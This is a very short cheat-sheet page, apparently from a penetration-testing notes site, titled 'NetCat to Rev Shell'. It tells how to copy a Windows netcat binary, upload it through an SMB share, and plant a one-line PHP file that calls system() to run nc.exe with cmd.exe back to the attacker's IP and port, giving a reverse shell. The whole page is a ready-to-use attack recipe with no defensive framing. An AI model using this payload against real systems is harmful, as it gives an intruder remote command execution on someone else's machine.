NetCat to Rev Shell

#copy nc.exe from

cp /usr/share/windows-resources/binaries/nc.exe nc.exe

in the smb share do:

put nc.exe #to upload nc.exe

create a php reverse shell:

<?php

system('nc.exe -e cmd.exe <your_ip> <port>')

?>

Last updated